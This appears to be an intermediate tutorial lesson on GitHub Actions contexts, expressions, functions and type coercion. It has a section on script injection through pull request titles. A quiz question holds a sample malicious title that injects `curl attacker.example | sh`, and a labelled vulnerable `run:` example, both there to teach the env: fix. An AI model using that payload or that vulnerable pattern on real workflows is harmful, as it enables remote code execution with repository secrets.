Skip to content

GitHub Actions Contexts and Expressions: Complete Reference

Lesson 11 of 11Intermediate14 min readGitHub Actions & CI/CD · Actions FundamentalsVerified: GitHub Actions contexts and expressions documentation, August 2026

Contexts are the data a workflow can see. Expressions are how it reads them.

if: github.event_name == 'push' && github.ref == 'refs/heads/main'
run: echo "Building ${{ github.sha }}"

Both lines use the github context. The first is an expression evaluated as a condition; the second substitutes a value into a command. Understanding when that substitution happens is the difference between a workflow that works and one with a vulnerability.

Expressions are substituted before execution

Section titled “Expressions are substituted before execution”

This is the single most important fact in the lesson.

- run: echo "Branch: ${{ github.ref_name }}"

GitHub evaluates ${{ github.ref_name }}, replaces it with the text, and then hands the resulting line to the shell. What the shell receives is:

Terminal window
echo "Branch: main"

The shell never sees an expression. It sees whatever text the expression produced — which is why a value containing shell metacharacters becomes shell syntax rather than a string.

Contrast with an environment variable:

- env:
BRANCH: ${{ github.ref_name }}
run: echo "Branch: $BRANCH"

Here the substitution happens into the env block, and the shell receives echo "Branch: $BRANCH" — a variable reference, resolved by the shell from an environment value. The value is data throughout.

That distinction is the whole basis of the injection section below.

Required in most places, optional in if::

if: github.event_name == 'push' # conventional
if: ${{ github.event_name == 'push' }} # equivalent
run: echo "${{ github.sha }}" # required here

if: is always an expression, so the braces are redundant. Everywhere else — run, env, with, name — a value is a literal unless braced.

Eleven contexts, each available in different places.

The largest and most used. Information about the event, repository and run.

PropertyContains
github.event_namepush, pull_request, schedule
github.eventThe full webhook payload
github.shaThe commit being built
github.refFull ref — refs/heads/main, refs/tags/v1.0
github.ref_nameShort name — main, v1.0
github.ref_typebranch or tag
github.head_refSource branch, on pull requests only
github.base_refTarget branch, on pull requests only
github.repositoryowner/repo
github.repository_ownerowner
github.actorWho triggered the run
github.workflowThe workflow’s name
github.run_idThis run’s ID
github.run_numberIncrementing count for this workflow
github.run_attemptWhich attempt, after reruns
github.workspaceCheckout path
github.tokenThe GITHUB_TOKEN

github.event gives access to anything the webhook carried:

- run: echo "PR ${{ github.event.pull_request.number }} by ${{ github.event.pull_request.user.login }}"

The payload’s shape differs per event type, which is why a workflow with several triggers must guard event-specific references — github.event.pull_request does not exist on a push.

${{ env.LOG_LEVEL }} # environment variables in scope
${{ vars.AWS_REGION }} # configuration variables
${{ secrets.API_TOKEN }} # secrets

Covered in Environment Variables and Secrets. Note that env in an expression reads values set in env: blocks — it does not see variables a run: step exported.

Results and outputs of dependency jobs:

${{ needs.build.result }} # success, failure, cancelled, skipped
${{ needs.build.outputs.version }}

Only available for jobs listed in needs.

Results and outputs of earlier steps in the same job:

${{ steps.build.outputs.artifact }}
${{ steps.build.outcome }} # before continue-on-error
${{ steps.build.conclusion }} # after continue-on-error

The outcome/conclusion distinction matters whenever continue-on-error is set — a step that failed but was allowed to continue has outcome: failure and conclusion: success.

The machine running the job:

${{ runner.os }} # Linux, Windows, macOS
${{ runner.arch }} # X86, X64, ARM, ARM64
${{ runner.temp }} # temp directory, cleaned up
${{ runner.tool_cache }} # pre-installed tool cache

runner.os is how one workflow behaves correctly across a cross-platform matrix.

${{ matrix.python-version }} # this job's matrix value
${{ strategy.job-index }} # position in the matrix
${{ strategy.fail-fast }}

Inputs to a workflow_dispatch or workflow_call:

${{ inputs.environment }}

Remember that workflow_dispatch inputs arrive as strings regardless of declared type, while workflow_call inputs are typed.

job describes the current job — job.status, job.container, job.services.

jobs is available only in a reusable workflow’s outputs: block, for referencing job results.

${{ github.ref == 'refs/heads/main' }}
${{ github.event_name != 'push' }}
${{ needs.build.result == 'success' && github.ref_type == 'tag' }}
${{ inputs.force || github.event_name == 'schedule' }}
${{ !cancelled() }}

Comparison, logical AND, OR and NOT, plus <, >, <=, >= for numbers.

|| is worth knowing for its default value behaviour: it returns the first truthy operand, so it works as a fallback:

run-name: ${{ github.event.pull_request.title || github.ref_name }}
FunctionDoes
contains(haystack, needle)Substring, or array membership
startsWith(s, prefix) / endsWith(s, suffix)String prefix/suffix
format(template, …)Substitute {0}, {1} placeholders
join(array, sep)Concatenate an array
toJSON(value)Serialise — invaluable for debugging
fromJSON(string)Parse, producing structured data
hashFiles(pattern)Hash of matching files — the basis of cache keys
if: contains(github.event.pull_request.labels.*.name, 'deploy')
if: startsWith(github.ref, 'refs/tags/v')
key: deps-${{ runner.os }}-${{ hashFiles('**/package-lock.json') }}

The * in labels.*.name is an object filter: it maps over an array, collecting one property from each element. It is the least-known piece of the syntax and the most useful for working with event payloads.

if: success() # everything so far succeeded — the default
if: failure() # something failed
if: cancelled() # the run was cancelled
if: always() # regardless, including cancellation

always() is blunt. !cancelled() is usually the better choice for cleanup and notification steps — it runs on success and failure while respecting an explicit cancellation.

Some context values are text an attacker chooses. Interpolating them into a run: block is a script injection.

# Vulnerable
- run: echo "Reviewing ${{ github.event.pull_request.title }}"

The title is substituted as text before the shell parses the line. A title containing shell metacharacters becomes shell syntax executing with the job’s token and secrets.

# Safe
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Reviewing $TITLE"

One line different. The value is assigned to a variable and the shell reads it as data.

The values to treat as untrusted — anything a contributor controls:

Context valueControlled by
github.event.pull_request.titleWhoever opened it
github.event.pull_request.bodySame
github.event.pull_request.head.refThe branch name they chose
github.event.issue.title / .bodyWhoever opened it
github.event.comment.bodyAny commenter
github.event.review.bodyAny reviewer
github.event.head_commit.messageWhoever committed
github.actorAny account name

Not every context exists everywhere, and the restrictions are not arbitrary — they follow from when each value becomes known.

LocationAvailable
Workflow envgithub, vars, inputs
concurrencygithub, inputs, vars
Job ifgithub, needs, vars, inputs
Job envgithub, needs, strategy, matrix, vars, inputs, secrets
Step ifEverything the job has, plus steps, runner, job
Step with / envSame as step if

The pattern: steps is unavailable before steps run; needs is unavailable to a job with no dependencies; secrets is unavailable at workflow level.

A common failure is referencing secrets in a workflow-level env: block — it evaluates to empty rather than erroring, and the failure surfaces much later as an authentication error.

Run only on the default branch after a merge:

if: github.event_name == 'push' && github.ref == format('refs/heads/{0}', github.event.repository.default_branch)

Run only on version tags:

if: github.ref_type == 'tag' && startsWith(github.ref_name, 'v')

Skip drafts:

if: github.event.pull_request.draft == false

Act on a label:

if: contains(github.event.pull_request.labels.*.name, 'ready-to-deploy')

Notify regardless of outcome:

if: !cancelled()

A cache key that invalidates correctly:

key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements*.txt') }}
restore-keys: ${{ runner.os }}-pip-

Skip a job when only documentation changed — better done with paths-ignore on the trigger, but sometimes needed at job level from a dependency’s output.

The github.event payload differs per trigger, and the differences are the source of most context-related confusion. The fields that matter, per common event:

push

github.event.head_commit.message # the tip commit's message
github.event.head_commit.author.name
github.event.commits # array of pushed commits
github.event.before # ref's previous SHA
github.event.created / .deleted # branch or tag lifecycle

pull_request

github.event.action # opened, synchronize, closed…
github.event.pull_request.number
github.event.pull_request.title
github.event.pull_request.draft
github.event.pull_request.merged # meaningful on `closed`
github.event.pull_request.head.sha # the contributor's commit
github.event.pull_request.base.ref # the target branch
github.event.pull_request.labels # array — use an object filter

release

github.event.release.tag_name
github.event.release.prerelease
github.event.release.assets

workflow_run

github.event.workflow_run.conclusion # must be checked — `completed` includes failure
github.event.workflow_run.head_branch
github.event.workflow_run.id

The pull_request.merged field is worth singling out. A closed action fires whether the pull request was merged or abandoned, and distinguishing them requires that field:

- if: github.event.action == 'closed' && github.event.pull_request.merged == true
run: ./on-merge.sh

Without it, a workflow “on merge” also runs when someone closes a pull request without merging — which, for a deployment, is a genuinely bad outcome.

Understanding when each part is resolved explains several otherwise-mysterious behaviours.

  1. The workflow file is parsed as YAML. Structure is fixed at this point; expressions are still text.
  2. Workflow-level expressions are evaluatedenv, concurrency, run-name. Only github, vars and inputs are available.
  3. Jobs are selected. Job-level if is evaluated, and matrices are expanded.
  4. The job starts. Job-level env is evaluated; needs is now populated.
  5. Each step is evaluated immediately before it runs — its if, env, with and any ${{ }} inside run. steps contains results from earlier steps only.

Two consequences follow directly.

A value produced in step 3 cannot be referenced in a job-level if, because job-level conditions are evaluated before any step runs. This is why “run this job only if a previous step found something” requires the finding to be a job output from a dependency job.

Matrix expansion happens before jobs start, which is why a dynamic matrix must come from a dependency’s output — the value must exist before the consuming job is created.

There is no expression REPL, so the practical technique is to print.

- name: Debug
if: runner.debug == '1'
run: |
{
echo "event: ${{ github.event_name }}"
echo "ref: ${{ github.ref }}"
echo "ref_type: ${{ github.ref_type }}"
echo "actor: ${{ github.actor }}"
echo "is_main: ${{ github.ref == 'refs/heads/main' }}"
echo "is_tag: ${{ startsWith(github.ref, 'refs/tags/') }}"
} >> "$GITHUB_STEP_SUMMARY"

Printing the result of the comparison rather than just the operands is the useful part — a condition that evaluates to false when you expected true is much easier to diagnose when you can see both the inputs and the verdict.

runner.debug is '1' when a run is re-run with debug logging enabled, which makes it a natural gate for diagnostic steps you want available and not usually running.

Enable it per run:

Terminal window
gh run rerun RUN_ID --debug

That also enables ACTIONS_RUNNER_DEBUG and ACTIONS_STEP_DEBUG, producing considerably more verbose logs from the runner and from actions that honour them.

Interpolating untrusted text into run:. The injection surface; use env:.

Expecting ${{ }} to be a shell variable. It is substitution, resolved earlier.

secrets in workflow-level env. Unavailable; evaluates empty.

steps in a job-level if. No steps have run.

Comparing a dispatch boolean to true. It is the string 'true'.

Confusing outcome and conclusion. They differ under continue-on-error.

always() where !cancelled() was meant. Runs even on deliberate cancellation.

Referencing github.event.pull_request on a push. Empty; guard on event_name.

The * filter maps over an array and collects one property from each element. It is the least-known piece of the expression language and the most useful for working with event payloads.

${{ github.event.pull_request.labels.*.name }}

That produces an array of label names. Combined with contains, it becomes a label gate:

if: contains(github.event.pull_request.labels.*.name, 'deploy')

The filter works on any array in any context:

${{ github.event.commits.*.message }}
${{ github.event.pull_request.requested_reviewers.*.login }}
${{ needs.*.result }}

That last one is genuinely useful: needs.*.result collects every dependency’s outcome, so a gate job can check them all without naming each:

gate:
needs: [lint, test, build, scan]
if: always()
runs-on: ubuntu-latest
steps:
- if: contains(needs.*.result, 'failure') || contains(needs.*.result, 'cancelled')
run: |
echo "::error::one or more required jobs did not succeed"
exit 1

Adding a fifth dependency later requires no change to the condition — which is exactly the property that makes the pattern worth using over enumerating each result.

${{ }} works in more fields than people expect, and knowing which unlocks useful patterns.

run-name: Deploy ${{ inputs.version }} to ${{ inputs.environment }}
concurrency:
group: deploy-${{ inputs.environment }}
jobs:
build:
name: Build (${{ matrix.target }})
runs-on: ${{ matrix.runner }}
timeout-minutes: ${{ fromJSON(vars.BUILD_TIMEOUT) }}
environment: ${{ github.ref == 'refs/heads/main' && 'production' || 'staging' }}

Three of those are worth highlighting.

runs-on accepts an expression, which is how a matrix selects runners per variant — including self-hosted labels for some variants and hosted for others.

environment accepts an expression, so one job can target staging or production based on a condition. The a && b || c form is the idiomatic ternary: if a is truthy the result is b, otherwise c.

timeout-minutes needs a number, and a variable is a string — hence fromJSON to coerce it. The same trick works anywhere a numeric value must come from configuration.

Where expressions do not work: the on: block, and job IDs. Triggers and job identifiers are fixed when the file is parsed, before any context exists.

  1. Print toJSON(github) through env: and read what the context actually contains.
  2. Do the same for toJSON(github.event) on a push and on a pull request; compare the shapes.
  3. Write a step conditional on github.ref_type == 'tag' and verify it with a tag push.
  4. Use contains(github.event.pull_request.labels.*.name, 'deploy') to gate a step by label.
  5. Interpolate a pull request title directly into echo, then rewrite through env:, using a title containing a quote and a backtick. Compare the logs.
  6. Reference secrets.SOMETHING in a workflow-level env: and observe that it is empty.

Step 5 demonstrates the injection surface with nothing malicious — a title with a backtick is enough to show the difference.

The expressions worth committing to memory, because they cover most real conditions:

# Branch and ref
github.ref == 'refs/heads/main'
github.ref_name == 'main'
github.ref_type == 'tag'
startsWith(github.ref, 'refs/tags/v')
# Event
github.event_name == 'push'
github.event.action == 'opened'
github.event.pull_request.merged == true
# Fork detection
github.event.pull_request.head.repo.full_name == github.repository
# Draft state
github.event.pull_request.draft == false
# Labels
contains(github.event.pull_request.labels.*.name, 'deploy')
# Job and step results
needs.build.result == 'success'
contains(needs.*.result, 'failure')
steps.check.outcome == 'failure'
# Status
success() / failure() / cancelled() / always() / !cancelled()
# Runner
runner.os == 'Linux'
runner.debug == '1'
# Defaults and ternary
inputs.version || github.ref_name
github.ref == 'refs/heads/main' && 'production' || 'staging'

Two entries deserve a note. contains(needs.*.result, 'failure') scales to any number of dependencies without change. And the ternary form — condition && a || b — is idiomatic and has one trap: if a is falsy, the expression returns b regardless of the condition. For string values that is safe; for booleans it is not.

  • Expressions are substituted into the workflow before the shell runs; they are not shell variables.
  • The github context carries the event payload, whose shape differs per event type.
  • needs and steps expose results and outputs; outcome and conclusion differ under continue-on-error.
  • Object filters (labels.*.name) map over arrays and are the key to working with payloads.
  • toJSON printed through env: is the fastest way to see what a context holds.
  • Event-derived text is attacker-controlled and must reach the shell through env:, never through interpolation.
  • Contexts are available in different places, and an unavailable one evaluates to empty rather than failing.

Expressions coerce types before comparing, and the rules produce results that look wrong until you know them.

ComparisonResultWhy
'1' == 1trueThe string is coerced to a number
'true' == truefalseA non-empty string coerces to NaN, not to a boolean
'' == 0trueEmpty string coerces to 0
'abc' == 0falseNaN equals nothing, including itself
null == 0truenull coerces to 0

The second row is the one that matters in practice. A workflow_dispatch boolean input arrives as the string 'true', so this never fires:

if: inputs.dry_run == true # always false
if: inputs.dry_run == 'true' # correct

Comparisons are also case-insensitive for strings, which is convenient and occasionally surprising: 'MAIN' == 'main' is true.

When a condition behaves unexpectedly, printing both operands with toJSON shows their actual types:

- run: echo "$DEBUG"
env:
DEBUG: ${{ toJSON(inputs) }}

$GITHUB_STEP_SUMMARY is a file that accepts Markdown and renders on the run’s summary page. It is the best place for output a human should read, and it is widely unknown.

- name: Test and summarise
run: |
pytest --junitxml=results.xml || true
{
echo "## Test results"
echo ""
echo "| Suite | Passed | Failed |"
echo "| --- | ---: | ---: |"
echo "| unit | 142 | 0 |"
echo "| integration | 38 | 2 |"
echo ""
echo "Coverage: **87%**"
} >> "$GITHUB_STEP_SUMMARY"

That renders as a formatted table at the top of the run, rather than as text buried at line 400 of a log. For anything a reviewer needs — coverage, benchmark deltas, what was deployed where — it is substantially better than log output.

Each step appends; the summaries are concatenated in order. A step can also reset its own contribution by writing to the file rather than appending.

Beyond the summary, a step can emit annotations that attach to files and lines:

- run: |
echo "::error file=src/app.py,line=42,col=8::Undefined variable 'confg'"
echo "::warning file=README.md::This file has not been updated in two years"
echo "::notice::Build completed in 42 seconds"

Errors and warnings appear on the pull request’s Files changed tab next to the relevant line, which is where a reviewer is already looking — far more useful than a log entry they must go and find.

Two more commands worth knowing:

- run: |
echo "::group::Dependency installation"
npm ci
echo "::endgroup::"
echo "::add-mask::$COMPUTED_SECRET"

::group:: makes a collapsible section, which keeps a long log navigable. ::add-mask:: registers a value for masking at runtime — useful when a step derives a secret that GitHub does not already know about, and one of the few ways to extend masking beyond configured secrets.

The contexts and functions available change as GitHub adds features, so the authoritative reference is GitHub’s own documentation rather than any page including this one. Two habits keep you current without reading release notes.

Introspect at runtime. toJSON(github) printed through env: shows exactly what your version of the platform provides, for the event you actually received. That is more reliable than any table, because it reflects reality rather than a snapshot.

Use actionlint in CI. It validates expression syntax and checks that referenced contexts exist in the position you used them — catching steps.foo in a job-level if: before it silently evaluates to nothing.

Between those two, the failure mode this lesson warns about most — an expression that evaluates to empty rather than erroring — becomes visible rather than mysterious.

Contexts are the most powerful part of workflow syntax and the most dangerous, and both come from the same property: an expression’s result is inserted into the workflow before anything executes it.

That is what lets a matrix choose a runner, a condition read a label, and a job name include a version. It is equally what lets a pull request title become a shell command.

The discipline is one rule: if a value came from outside your repository, it reaches a command through env: and never through ${{ }} inside run:. Everything else in this lesson is convenience; that one is not.

Check your understanding

3 questions — each one asks you to predict what Git or GitHub will do, not to recall a flag.

A step runs `echo "${{ github.event.pull_request.title }}"`. A contributor titles their PR `"; curl attacker.example | sh; echo "`. What happens?
Show answer

The command runs — the expression is substituted into the script before the shell sees it — Expressions are substituted textually before the shell runs, so attacker-controlled text becomes part of the script. Pass event data through `env:` and reference it as a shell variable instead.

A workflow-level `env:` uses `${{ secrets.API_KEY }}`. What value do steps see?
Show answer

Empty — the `secrets` context is not available at workflow-level `env:` — `secrets` is unavailable in workflow-level `env:` and evaluates empty. Use it at job or step level.

A `workflow_dispatch` input `dry_run` is declared as `type: boolean`. Which `if:` condition is true when the box was ticked?
Show answer

`inputs.dry_run == 'true'` — dispatch inputs arrive as strings regardless of declared type — `workflow_dispatch` inputs arrive as strings whatever the declared type, so the boolean is the string `'true'`. Comparing to the YAML boolean `true` is always false — the lesson lists it as a common mistake.

GitHub Actions Security ChecklistAudit your workflows against the failure modes that actually cause incidents. Free and complete.

The CI starter template — least-privilege permissions, pinned actions, correct checkout — is in the Professional Toolkit.